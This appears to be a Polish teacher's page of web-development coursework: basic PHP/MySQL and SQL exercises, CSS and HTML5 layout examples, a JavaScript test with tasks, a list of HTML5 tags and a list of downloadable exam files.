while ($wyniki = @mysql_fetch_assoc($rezultat)) {
echo "<pre>";
print_r($wyniki);
echo "<pre>";
}
?>
</body>

 

<body>

<?php

$lacze = @mysql_connect('localhost', 'zsm', 'zsm');
$baza = mysql_select_db('kursy' , $lacze);

$zpt = 'SELECT * FROM klienci';

$rezultat = @mysql_query($zpt, $lacze);

$wyniki = @mysql_fetch_assoc($rezultat);
echo "<pre>";
print_r($wyniki);
echo "<pre>";

?>

</body>

 

<body>

<?php

$lacze = @mysql_connect('localhost', 'zsm', 'zsm');
$baza = mysql_select_db('kursy' , $lacze);

$zpt = 'SELECT * FROM produkty';

$rezultat = @mysql_query($zpt, $lacze);
while ($wyniki = @mysql_fetch_assoc($rezultat)) {

print_r($wyniki);

}

?>

</body>

 

 

 

select *
from produkty
limit 0, 10 -wyświetlanie produktów od 0 do 10
where id_produktu = 41
where cena > 40 and cena < 50
where cena > 10 and cena > 50

KLAUZRA ORDER INTO


INSERT INTO klienci VALUES ('','Jan','Kowalski')


INSERT INTO klienci (imie, nazwisko) VALUES ('Piotr','Polak')

INSTRUKCJA UPDATE

UPDATE klienci SET imie = 'Kamil'
WHERE id = 2

UPDATE cennik SET cena = cena*0.9

INSTRUKCJA DELETE FROM

DELETE FROM cennik WHERE id = 10

DELETE FROM cennik1 WHERE cena < 40

DROP TABLE cennik1

SELECT COUNT(id_produktu)FROM produkty

SELECT COUNT(id_produktu)AS licznik FROM produkty - licznik

SELECT AVG(cena) AS srednia FROM produkty - srednia

SELECT MAX(cena) AS maksimum FROM produkty - MAX CENA

SELECT MIN(cena) AS minimum FROM produkty - MIN CENA

SELECT SUM(styczen) AS styczen_suma FROM sprzedaz

CREATE TABLE kategorie (id INT, nazwa VARCHAR(24))

CREATE TABLE styczen SELECT id, Sklep, styczen FROM sprzedaz

ALTER TABLE sprzedaz ADD kwiecien INT

DROP kwiecien

ALTER TABLE sprzedaz ADD oddzial INT AFTER sklep

ALTER TABLE sprzedaz MODIFY oddzial VARCHAR(24)

ALTER TABLE sprzedaz CHANGE oddzial nazwa_oddzialu VARCHAR(24)

<nav>
<ul>
<li><a href="/firma.html">Firma</a></li>
<li><a href="#oferta.html">Oferta</a></li>
<li><a href="/galeria.html">Galeria</a></li>
<li><a href="#kontakt.html">Kontakt</a></li>

</ul>
</nav>

 

nav {
float: left;
width: 100%;
background: #fff;
border-bottom: 3px solid #000;
overflow: hidden;
position: relative;
}
nav ul {
clear: left;
float: left;
list-style: none;
margin: 0;
padding: 0;
position: relative;
left: 50%;
text-align: center;
}
nav ul li {
display: block;
float: left;
list-style: none;
margin: 0;
padding: 0;
position: relative;
right: 50%;
}
nav ul li a {
display: block;
margin: 0 0 0 1px;
padding: 3px 10px;
background: #ddd;
color: #000;
text-decoration: none;
line-height: 40px;

}
nav ul li a:hover {
background: #b00;
color: #fff;
}
nav ul li a.zaznaczony,

nav ul li a.zaznaczony:hover {
color: #fff;
background: #000;
font-weight: bold;
}

 

 

 

 

 

 

 

<!DOCTYPE html>

<head>

<style>

#gora {
clear:both;
background-color:white;
text-align:center;
min-height:360px;
font-size:124px;
}

#dol {
clear:both;
background-color:red;
text-align:left;
min-height:360px;
font-size:24px;
}
</style>
</head>
<body>

<div id="gora">POLSKA</div>

<div id="dol">Polska, Rzeczpospolita 
Polska (RP) – państwo unitarne w Europie 
Środkowej położone między Morzem 
Bałtyckim na północy a Sudetami i 
Karpatami na południu, w dorzeczu Wisły, 
Odry i Niemna. Powierzchnia 
administracyjna Polski wynosi 312 679 
km²[b][1], co daje jej 70. miejsce na 
świecie i 9. w Europie. Zamieszkana 
przez prawie 38,5 miliona ludzi (2014), 
zajmuje pod względem liczby ludności 34. 
miejsce na świecie[5], a 6. w Unii 
Europejskiej.</div>

</body>
</html>

 

 

 

<!DOCTYPE html>

 

<head>

 

<style>

 

#naglowek {
background-color:yellow;
text-align:left;
min-height:250px;
font-size:24px;
}

 

#lewy {
float:left;
background-color:green;
min-height:550px;
width:20%;
}

 

#srodek {
float:left;
background-color:blue;
min-height:550px;
width:60%;
}
#prawy {
float:left;
background-color:red;
min-height:550px;
width:20%;
}

 

#stopka {
clear:both;
background-color:black;
text-align:center;
min-height:60px;
}
</style>
</head>
<body>
<div id="naglowek">sdfsdfsdffdf</div>
<div id="lewy">sdfsdfsdffdf</div>
<div id="srodek">sdfsdfsdffdf</div>
<div id="prawy">sdfsdfsdffdf</div>
<div id="stopka">sdfsdfsdffdf</div>
</body>
</html>

 

 

 

Strona serwisu komputerowego

strona ma mieć 4 zakładki
O firmie (tekst + foto)
Usługi (tabela z cennikiem)
Galeria (TiltViewer)
Kontakt (mapa google + adres)

Top graficzny ale na każdej zakładce inne zdjęcie (nie flash!)

 

Uklad strony:

Logo i nazwa firmy
Menu główne
Top (zdjęcie poziome związane z działalnością firmy)

2 kolumny lewa reklamy (3 banery
intel,asus,HP)
Środkowa teksty na www

 

 

Budowa i działanie karty graficznej

- procesor graficzny GPU
- pamięć podręczna RAM
- konwerter cyfrowo-analogowy
- złącze magistrali
- BIOS
- zestaw wyjść (D-sub,DVI,TV-out,HDMI,Display port)
do powyższego schemat zdjęcia i opisy

Sprawdzian 3A JAVA SCRIPT

Sprawdzian 3A JAVA SCRIPT

1. Wypisz wszystkie liczby parzysrte od 0 do 100 stosując pętlę for. Pod każdą z liczb ma być wiersz odstępu
Przykład:
4
6
8
….
44
2. Napisz skrypt który podzieli 2 wpisane liczby tylko w przypadku druga będzie większa od 0, w przeciwnym wypadku niech pojawi się ” Pamiętaj, cholero, nie dzieli się przez zero!
Przykład:
Przykład wpisałem 10 i 5 =2

3. Napisz FUNKCJE o nazwie suma, która doda do siebie 2 dowolnie wpisane liczby. Zastosuj deklaracje FUNKCJI!.

Przykład:
Wpisałem 10 i 2 =12

4. Napisz pętle (WHILE) która wypisze liczby nieparzyste od 1 do 10 z tekstem liczba

Przykład:
liczba 13
liczba 15
liczba 17
…….
liczba 45

5. Napisz skrypt który sprawdzi czy dana liczba jest dodatnia, ujemna, równa 0 lub nie jest liczbą. Funkcja ma wyświetlać się jak w poniższym przykładzie
Przykład:
Wpisałeś z klawiatury 7 - wpisałes 7 twoja liczba jest większa niż 0
Wpisałeś z klawiatury -7 - wpisałes 7 twoja liczba jest mniejsza niż 0
Wpisałeś z klawiatury 0 - wpisałes 0 twoja liczba jest równa 0
Wpisałeś z klawiatury a - wpisałes a to nie liczba

6. Popraw błędy ortograficzne Ówaga-uwaga, podószka-poduszka, mócha-mucha, 
zastosuj replace

7. Zadeklaruj tablice składającą się z 5 liczb (2,4,6,7,10), odwróć ją zastosuj reverse


8. Napisz skrypt który po podaniu hasła ZSM odeśle cię do pliku zsm.html (plik pusty z zielonym kolorem tła)
9. Napisz prawidłową deklaracje skryptu w pliku zewnętrznym zadeklaruj w nim zmienną (A) swoje imię i wyświetl tą zmienną
10. Wykorzystaj praktycznie dowolny operator relacyjny
11. Wykorzystaj praktycznie dowolny operator logiczny
12. Wykorzystaj praktycznie dowolny operator bitowy
13. Wykorzystaj praktycznie dowolny operator matematyczny

 

 

<!doctype html>
<html lang="pl">
<head>
<meta charset="utf-8">
<title>HTML5</title>
<link rel="stylesheet" type="text/css" href="/_css/screen.css">

<!--[if lt IE 9]>
<script src="//html5shim.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->

</head>

<body tracingsrc="/_assets/tracing-wymiary.jpg" tracingopacity="20">


<header>
<h1>webStandardy.pl</h1>
<aside>
<h2><q cite="http://www.twitter.com/webstandardy">Zobacz nasz profil w serwisie Twitter oraz na innych portalach społecznościowych jak Facebook i LinkedIn! </q></h2><br>
<span>Opublikowano 3 minuty temu na twitterze</span>
</aside>
</header>

<div id="left-column">

<nav>
<h2 class="hide">Główna nawigacja</h2>
<ul>
<li><a class="h" href="#">Home</a></li>
<li><a class="a" href="#">Artykuły</a></li>
<li><a class="s" href="#">Snippety</a></li>
<li><a class="i" href="#">Inspiracje</a></li>
<li><a class="b" href="#">Blog</a></li>
<li><a class="f" href="#">Forum</a></li>
<li><a class="k" href="#">Kontakt</a></li>
</ul>
</nav>

<div id="top">
<section>
<h2>Nowy szeryf w miescie</h2>
<p>HTML5 jest standardem, który zyskując coraz większe wsparcie wśród przeglądarek staje się nieodzownym towarzyszem każdego szanującego się front-end developera.</p>
</section>
</div>

<section id="artykuly">
<h2 class="hide">Artykuły</h2>
<section>
<img src="/_img/art1.jpg" alt="Artykuł 1" />
<hgroup>
<h2>Nowe znaczniki w HTML5</h2>
<h3>DODANO 14.09.2011 PRZEZ MIKI</h3>
</hgroup>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi pulvinar, massa ac egestas sodales, velit felis fringilla lacus vitae molestie orci. </p>
</section>
<section id="art2">
<img src="/_img/art2.jpg" alt="Artykuł 2" />
<hgroup>
<h2>Nowe znaczniki w HTML5</h2>
<h3>DODANO 14.09.2011 PRZEZ MIKI</h3>
</hgroup>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi pulvinar, massa ac egestas sodales, velit felis fringilla lacus vitae molestie orci. </p>
</section>
<section>
<img src="/_img/art3.jpg" alt="Artykuł 3" />
<hgroup>
<h2>Nowe znaczniki w HTML5</h2>
<h3>DODANO 14.09.2011 PRZEZ MIKI</h3>
</hgroup>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi pulvinar, massa ac egestas sodales, velit felis fringilla lacus vitae molestie orci. </p>
</section>
</section>

<section id="aktualnosci">
<h2>Aktualnosci</h2> 
<ul>
<li>KONWERSJA FLASH>HTML5 Z WALLABY</li>
<li>NOWE SELEKTORY W CSS3</li>
<li>METODY POZYCJONOWANIA ELEMENTÓW</li>
<li>NOWOCZESNE UKŁADY STRON WWW</li>
<li>WYKORZYSTANIE BIBLIOTEKI MODERNIZR</li>
<li>PRZYSZŁOŚĆ TYPOGRAFII Z @FONT-FACE</li>
<li>NAJWAŻNIEJSZE ZNACZNIKI HTML5</li>
</ul>
</section>

<section id="witaj">
<h2>Witaj na webstandardy</h2>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi pulvinar, massa ac egestas sodales, velit felis fringilla lacus, euismod porttitor purus lectus a orci. Vivamus vel ante ante, vitae molestie orci. Suspendisse cursus enim hendrerit ipsum cursus sodales ultricies velit volutpat. Suspendisse neque elit, condimentum mattis lacinia ut, dapibus a velit. Vestibulum ultrices vestibulum nunc, quis tincidunt magna varius sit amet. </p>
<p>Cursus enim hendrerit ipsum cursus sodales ultricies velit volutpat. Suspendisse neque elit, condimentum mattis lacinia ut, dapibus a velit. 
</p>
</section>



<aside id="social">
<h2 class="hide">Social bar</h2>
<ul>
<li><a href="#"><img src="/_img/social-media.jpg" alt="social 1"></a></li>
<li><a href="#"><img src="/_img/rss.jpg" alt="social 2"></a></li>
<li><a href="#"><img src="/_img/facebook.jpg" alt="social 3"></a></li>
<li><a href="#"><img src="/_img/twitter.jpg" alt="social 4"></a></li>
<li><a href="#"><img src="/_img/linkedin.jpg" alt="social 5"></a></li>
<li><a href="#"><img src="/_img/youtube.jpg" alt="social 6"></a></li>
<li><a href="#"><img src="/_img/email.jpg" alt="social 7"></a></li>
</ul>
</aside>

<footer>
<p>Copyright © 2011-2012 eduweb.pl. Wszystkie prawa zastrzeżone. Projekt i prowadzenie serwisu Grzegorz Róg</p>
<span>Na skróty</span>
<ul>
<li><a href="#">HOME</a></li>
<li><a href="#">ARTYKUŁY</a></li>
<li><a href="#">SNIPPETY</a></li>
<li><a href="#">INSPIRACJE</a></li>
<li><a href="#">BLOG</a></li>
<li><a href="#">FORUM</a></li>
<li><a href="#">KONTAKT</a></li>
</ul>
</footer>

<!-- koniec lewej kolumny -->
</div>

<div id="right-column">

<aside>

<h2 class="hide">Logowanie</h2>

<div class="search"><!-- form --></div>

<div class="login"><ul>
<li class="wi">Wiadomości</li>
<li class="po">Powiadomienia</li>
<li class="sn">Snippety</li>
<li class="ed">Edycja profilu</li> 
</ul>

<p>Skocz na forum, mamy już 999 aktywnych użytkowników!</p></section>

</aside>

<aside id="reklamy">
<h2 class="hide">Reklamy</h2>
<img src="/_img/reklama.jpg" alt="reklama 1" />
<img src="/_img/reklama.jpg" alt="reklama 1" />
<img src="/_img/reklama.jpg" alt="reklama 1" />
<img src="/_img/reklama.jpg" alt="reklama 1" />
<img src="/_img/reklama.jpg" alt="reklama 1" />

</aside>

<!-- koniec prawej kolumny -->
</div>

</body>
</html>

<section id="artykuly">
<h2 class="hide">Artykuły</h2>
<section>
<img src="/_img/art1.jpg" alt="Artykuł 1" />
<hgroup>
<h2>Nowe znaczniki w HTML5</h2>
<h3>DODANO 14.09.2011 PRZEZ MIKI</h3>
</hgroup>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi pulvinar, massa ac egestas sodales, velit felis fringilla lacus vitae molestie orci. </p>
</section>
<section id="art2">
<img src="/_img/art2.jpg" alt="Artykuł 2" />
<hgroup>
<h2>Nowe znaczniki w HTML5</h2>
<h3>DODANO 14.09.2011 PRZEZ MIKI</h3>
</hgroup>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi pulvinar, massa ac egestas sodales, velit felis fringilla lacus vitae molestie orci. </p>
</section>
<section>
<img src="/_img/art3.jpg" alt="Artykuł 3" />
<hgroup>
<h2>Nowe znaczniki w HTML5</h2>
<h3>DODANO 14.09.2011 PRZEZ MIKI</h3>
</hgroup>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi pulvinar, massa ac egestas sodales, velit felis fringilla lacus vitae molestie orci. </p>
</section>
</section>

http://i238.photobucket.com/albums/ff95/gusbo57/s2000.jpg

<!DOCTYPE html>

Znacznik

Opis

<audio>

Znacznik odpowiadający strumieniowi audio

<video>

Znacznik osadzania materiału filmowego

<source>

Umożliwia definiowanie kilku różnych źródeł dla elementów (znaczników) audio/video

<embed>

Osadzenie zewnętrznej zawartości (np. plug-in)

<track>

Dodatkowa ścieżka dla audio lub video (np. napisy)

Nowe znaczniki obsługi formularzy

Znacznik

Opis

<datalist>

Definiuje zestaw elementów option z domyślnymi własnościami

<keygen>

Kontrolka do generowania pary kluczów publicznego i prywatnego

<output>

Przedstawia wynik obliczeń

Nowy znacznik <canvas>

Znacznik

Opis

<canvas>

Obszar zależny od rozdzielczości, służący do wyświetlania dynamicznej grafiki

Nowy znaczniki strukturalne i semantyczne

Znacznik

Opis

<audio>

Znacznik odpowiadający strumieniowi audio

<video>

Znacznik osadzania materiału filmowego

<source>

Umożliwia definiowanie kilku różnych źródeł dla elementów (znaczników) audio/video

<embed>

Osadzenie zewnętrznej zawartości (np. plug-in)

<track>

Dodatkowa ścieżka dla audio lub video (np. napisy)

Nowe znaczniki obsługi formularzy

Znacznik

Opis

<datalist>

Definiuje zestaw elementów option z domyślnymi własnościami

<keygen>

Kontrolka do generowania pary kluczów publicznego i prywatnego

<output>

Przedstawia wynik obliczeń

Nowy znacznik <canvas>

Znacznik

Opis

<canvas>

Obszar zależny od rozdzielczości, służący do wyświetlania dynamicznej grafiki

Nowy znaczniki strukturalne i semantyczne

Znacznik

Opis

<article>

Określa sekcję reprezentującą pojedyczną część serwisu (np. artykuł)

<aside>

Dodatkowa, poboczna treść w stosunku do artykułu

<bdi>

Oznaczenie dla fragmentu tekstu zapisanego w formacie dwukierunkowym

<command>

Definicja komendy wywoływanej przez użytkownika np. polecenie menu

<details>

Definiuje kontrolkę prezentującą dodatkowe informacje

<summary>

Podsumowanie, etykieta lub legendla dla elementu details

<figure>

Określa ilustrację i jej zawartość

<figcaption>

Opis lub legenda elementu znacznika figure

<footer>

Określa stopkę dla elementu, do którego się odnosi

<header>

Określa nagłówek dla elementu, do którego się odnosi

<mark>

Uwydatnienie tekstu

<meter>

Wartość skalarna lub liczba z przedziału np. wolne miejsce na dysku

<nav>

Sekcja odsyłaczy nawigacyjnych do innych stron lub w ramach dokumentu

<progress>

Postęp wykonywania procesu lub zadania

<ruby>

Adnotacja RUBY

<rt>

Znacznik RUBY RT

<rp>

Znacznik RUBY RP – wyznacza ramy, w których ukazuje się adnotacja w przeglądarce, która nie interpretuje RUBY

<section>

Sekcja dokumentu

<time>

Oznacza datę i/lub czas/time

<wbr>

Łamanie wiersza

Pliki:
Download this file (1.jpg)1.jpg[ ]1660 kB
Download this file (2.jpg)2.jpg[ ]1262 kB
Download this file (access1.pdf)access1.pdf[ ]560 kB
Download this file (e14_2014_08_praktyka.pdf)e14_2014_08_praktyka.pdf[ ]1712 kB
Download this file (egzamin2017.rar)egzamin2017.rar[ ]432 kB
Download this file (e_12_2013_05_01.pdf)e_12_2013_05_01.pdf[ ]741 kB
Download this file (e_12_2014.pdf)e_12_2014.pdf[ ]1606 kB
Download this file (e_12_2014_08_01.pdf)e_12_2014_08_01.pdf[ ]2605 kB
Download this file (e_12_2015_01_01.pdf)e_12_2015_01_01.pdf[ ]3512 kB
Download this file (e_12_2015_05_01.pdf)e_12_2015_05_01.pdf[ ]3370 kB
Download this file (e_12_2015_05_02.pdf)e_12_2015_05_02.pdf[ ]2895 kB
Download this file (e_12_2015_05_03.pdf)e_12_2015_05_03.pdf[ ]2634 kB
Download this file (e_12_2015_05_04.pdf)e_12_2015_05_04.pdf[ ]2947 kB
Download this file (e_12_2015_05_05.pdf)e_12_2015_05_05.pdf[ ]2931 kB
Download this file (e_12_2015_05_06.pdf)e_12_2015_05_06.pdf[ ]2759 kB
Download this file (e_12_2016_01_01.pdf)e_12_2016_01_01.pdf[ ]3038 kB
Download this file (e_12_2016_05_01.pdf)e_12_2016_05_01.pdf[ ]149 kB
Download this file (e_14_2015_01_01_16_kolor.pdf)e_14_2015_01_01_16_kolor.pdf[ ]4422 kB
Download this file (klasa2.jpg)klasa2.jpg[ ]232 kB
Download this file (wwwcss.jpg)wwwcss.jpg[ ]1480 kB
Download this file (xxx.zip)xxx.zip[ ]274 kB